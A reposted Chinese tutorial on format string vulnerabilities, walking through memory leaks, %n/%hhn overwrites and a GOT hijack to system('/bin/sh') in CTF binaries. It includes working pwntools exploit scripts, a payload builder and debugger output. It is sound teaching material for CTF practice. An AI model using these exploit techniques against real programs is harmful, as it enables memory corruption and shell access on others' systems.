[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
0xf7df85c0
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 15368)
[*] Got EOF while reading in interactive

我们确实得到了 scanf 的地址。

但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。

[padding][addr]

注意

我们不能直接在命令行输入 \ x0c\xa0\x04\x08%4$s 这是因为虽然前面的确实是 printf@got 的地址,但是,scanf 函数并不会将其识别为对应的字符串,而是会将 ,x,0,c 分别作为一个字符进行读入。下面就是错误的例子。

0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10   ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "\x0c\xa0\x04\x08%4$s"
0xffffcd04│+0x08: 0xffffcd10 → "\x0c\xa0\x04\x08%4$s"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "\x0c\xa0\x04\x08%4$s" ← $eax
0xffffcd14│+0x18: "\xa0\x04\x08%4$s"
0xffffcd18│+0x1c: "\x04\x08%4$s"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd10 "\\x0c\\xa0\\x04\\x08%4$s")
[#1] 0x80484ce → Name: main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/x 0xffffcd10
0xffffcd10: 0x6330785c

覆盖内存

上面,我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢? 答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。

这里我们给出如下的程序来介绍相应的部分。

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

makefile 在对应的文件夹中。而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的 payload

...[overwrite addr]....%[overwrite offset]$n

其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

覆盖栈内存

确定覆盖地址

首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。

确定相对偏移

其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试

其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试

 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7 → <main+76> add esp, 0x10 ← $esp
0xffffcd10│+0x04: 0xffffcd28 → "%d%d"
0xffffcd14│+0x08: 0xffffcd8c → 0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e → 0xffff0000 → 0x00000000
0xffffcd24│+0x18: 0xffffce4c → 0xffffd07a → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d" ← $eax

我们可以发现在 0xffffcd14 处存储着变量 c 的数值。继而,我们再确定格式化字符串’%d%d’的地址 0xffffcd28 相对于 printf 函数的格式化字符串参数 0xffffcd10 的偏移为 0x18,即格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数。

进行覆盖

这样,第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下

[addr of c]%012d%6$n

addr of c 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符,以便于来修改 c 的值为 16。

具体脚本如下

def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

forc()

结果如下:

➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 74806
0xfffd8cdc
܌��%012d%6$n
܌��-00000160648modified c.

覆盖任意地址内存

覆盖小数字

首先,我们来考虑一下如何修改 data 段的变量为一个较小的数字,比如说,小于机器字长的数字。这里以 2 为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个 (4 或 8) 字节。显然,无论之后如何输出,都只会比 4 大。

或许我们可以使用整形溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。

那么我们应该怎么做呢?再仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把 tag 放在字符串的最前面,如果我们把 tag 放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第 6 个参数。由于我们想要把 2 写到对应的地址处,故而格式化字符串的前面的字节必须是

aa%k$nxx

此时对应的存储的格式化字符串已经占据了 6 个字符的位置,如果我们再添加两个字符 aa,那么其实 aa%k 就是第 6 个参数,$nxx 其实就是第 7 个参数,后面我们如果跟上我们要覆盖的地址,那就是第 8 个参数,所以如果我们这里设置 k 为 8,其实就可以覆盖了。

利用 ida 可以得到 a 的地址为 0x0804A024(由于 a、b 是已初始化的全局变量,因此不在堆栈中)。

.data:0804A024                 public a
.data:0804A024 a dd 7Bh

故而我们可以构造如下的利用代码

def fora():
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

对应的结果如下

➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 76508
[*] Process './overwrite' stopped with exit code 0 (pid 76508)
0xffc1729c
aaaa$\xa0\x0modified a for a small number.

其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在那里都可以,只要我们可以找到其对应的偏移即可。

覆盖大数字

上面介绍了覆盖小数字,这里我们就少覆盖大数字了。上面我们也说了,我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。

不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。

所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。这里,我们以单字节为例。

首先,我们还是要确定的是要覆盖的地址为多少,利用 ida 看一下,可以发现地址为 0x0804A028。

.data:0804A028                 public b
.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r

即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。

0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由于我们的字符串的偏移为 6,所以我们可以确定我们的 payload 基本是这个样子的

p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

我们可以依次进行计算。这里给出一个基本的构造,如下

def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

其中每个参数的含义基本如下

  • offset 表示要覆盖的地址最初的偏移
  • size 表示机器字长
  • addr 表示将要覆盖的地址。
  • target 表示我们要覆盖为的目的变量值。

相应的 exploit 如下

def forb():
sh = process('./overwrite')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

结果如下

➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0

当然,我们也可以利用 %n 分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用 %hhn 则不会有这样的问题,因为这样只会修改相应地址的一个字节。

格式化字符串漏洞例子

下面会介绍一些 CTF 中的格式化漏洞的题目。也都是格式化字符串常见的利用。

64 位程序格式化字符串漏洞

原理

其实 64 位的偏移计算和 32 位类似,都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中呢?虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。

例题

这里,我们以 2017 年的 UIUCTF 中 pwn200 GoodLuck 为例进行介绍。这里由于只有本地环境,所以我在本地设置了一个 flag.txt 文件。

查看保护

$ checksec goodluck       
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看出程序开启了 NX 保护以及部分 RELRO 保护

分析程序

可以发现,程序的漏洞很明显

for ( j = 0; j <= 21; ++j )
{
v5 = format[j];
if ( !v5 || v11[j] != v5 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
result = 0;
goto LABEL_11;
}
}

确定偏移

我们在 printf 处下偏移如下, 这里只关注代码部分与栈部分。

gef➤  b printf
Breakpoint 1 at 0x400640
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/2017-UIUCTF-pwn200-GoodLuck/goodluck
what's the flag
123456
You answered:

Breakpoint 1, __printf (format=0x602830 "123456") at printf.c:28
28 printf.c: 没有那个文件或目录.

─────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
0x7ffff7a627f7 <fprintf+135> add rsp, 0xd8
0x7ffff7a627fe <fprintf+142> ret
0x7ffff7a627ff nop
→ 0x7ffff7a62800 <printf+0> sub rsp, 0xd8
0x7ffff7a62807 <printf+7> test al, al
0x7ffff7a62809 <printf+9> mov QWORD PTR [rsp+0x28], rsi
0x7ffff7a6280e <printf+14> mov QWORD PTR [rsp+0x30], rdx
───────────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb08', 'l8']
8
0x00007fffffffdb08│+0x00: 0x0000000000400890 → <main+234> mov edi, 0x4009b8 ← $rsp
0x00007fffffffdb10│+0x08: 0x0000000031000001
0x00007fffffffdb18│+0x10: 0x0000000000602830 → 0x0000363534333231 ("123456"?)
0x00007fffffffdb20│+0x18: 0x0000000000602010 → "You answered:\ng"
0x00007fffffffdb28│+0x20: 0x00007fffffffdb30 → "flag{11111111111111111"
0x00007fffffffdb30│+0x28: "flag{11111111111111111"
0x00007fffffffdb38│+0x30: "11111111111111"
0x00007fffffffdb40│+0x38: 0x0000313131313131 ("111111"?)
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7a62800 → Name: __printf(format=0x602830 "123456")
[#1] 0x400890 → Name: main()

以看到 flag 对应的栈上的偏移为 5,除去对应的第一行为返回地址外,其偏移为 4。此外,由于这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,fmt 字符串存储在 RDI 寄存器中,所以 fmt 字符串对应的地址的偏移为 10。而 fmt 字符串中 %order$s 对应的 order 为 fmt 字符串后面的参数的顺序,所以我们只需要输入 %9$s 即可得到 flag 的内容。当然,我们还有更简单的方法利用 https://github.com/scwuaptx/Pwngdb 中的 fmtarg 来判断某个参数的偏移。

ps:这里的10是由5+5得到的,至于为什么是这两个5是从哪里的得到的,我来解释一下,前面的5: 由于64为程序,前64个参数是存在寄存器中的,分别是rdi, rsi, rcx, rdx, r8, r9 所以第一格式化字符串是存储rdi中的,所以flag对应的偏移就应该是在 5 + flag 在线中的偏移,在栈中的偏移就很多理解了就是5,所以flag对应的格式化字符串偏移为10

gef➤  fmtarg 0x00007fffffffdb28
The index of format argument : 10 ("\%9$p")

需要注意的是我们必须 break 在 printf 处。

exp:

from pwn import *
from LibcSearcher import *
goodluck = ELF('./goodluck')
if args['REMOTE']:
sh = remote('pwn.sniperoj.cn', 30017)
else:
sh = process('./goodluck')
payload = "%9$s"
print payload
##gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

运行结果

[+] Starting local process './goodluck': pid 3129
%9$s
[*] Process './goodluck' stopped with exit code 0 (pid 3129)
what's the flag
You answered:
flag{11111111111111}
\xff
But that was totally wrong lol get rekt

hijack GOT

原理

在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。

假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤

  • 确定函数 A 的 GOT 表地址。

    • 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
  • 确定函数 B 的内存地址

    • 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
  • 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。

    • 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种

      • 写入函数:write 函数。
      • ROP
      pop eax; ret;           # printf@got -> eax
      pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
      add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset
      • 格式化字符串任意地址写

例题

这里我们以 2016 CCTF 中的 pwn3 为例进行介绍。

查看保护

[*] '/home/oldthree/Desktop/pwn3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以看出程序主要开启了 NX 保护。我们一般默认远程都是开启 ASLR 保护的。

分析程序

首先分析程序,可以发现程序似乎主要实现了一个需密码登录的 ftp,具有 get,put,dir 三个基本功能。大概浏览一下每个功能的代码,发现在 get 功能中存在格式化字符串漏洞

int get_file()
{
char dest; // [sp+1Ch] [bp-FCh]@5
char s1; // [sp+E4h] [bp-34h]@1
char *i; // [sp+10Ch] [bp-Ch]@3

printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 0x28);
return printf(&dest);
}
}
return printf(&dest);
}

漏洞利用思路

既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路

  • 绕过密码
  • 确定格式化字符串参数偏移
  • 利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
  • 修改 puts@got 的内容为 system 的地址。
  • 当程序再次执行 puts 函数的时候,其实执行的是 system 函数。

exp

from pwn import *
from LibcSearcher import LibcSearcher
##context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
sh = remote('111', 111)
else:
sh = process('./pwn3')


def get(name):
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline(name)
data = sh.recv()
return data


def put(name, content):
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(content)


def show_dir():
sh.sendline('dir')


tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i) - 1)


## password
def password():
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)


##password
password()
## get the addr of puts
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put('1111', '%8$s' + p32(puts_got))
puts_addr = u32(get('1111')[:4])

## get addr of system
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))

## modify puts@got, point to system_addr
payload = fmtstr_payload(7, {puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')

## system('/bin/sh')
show_dir()
sh.interactive()

注意

  • 我在获取 puts 函数地址时使用的偏移是 8,这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。其实格式化字符串的首地址的偏移是 7。
  • 这里我利用了 pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:11:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   格式化字符串漏洞https://cn-sec.com/archives/721336.html

发表评论

匿名网友 填写信息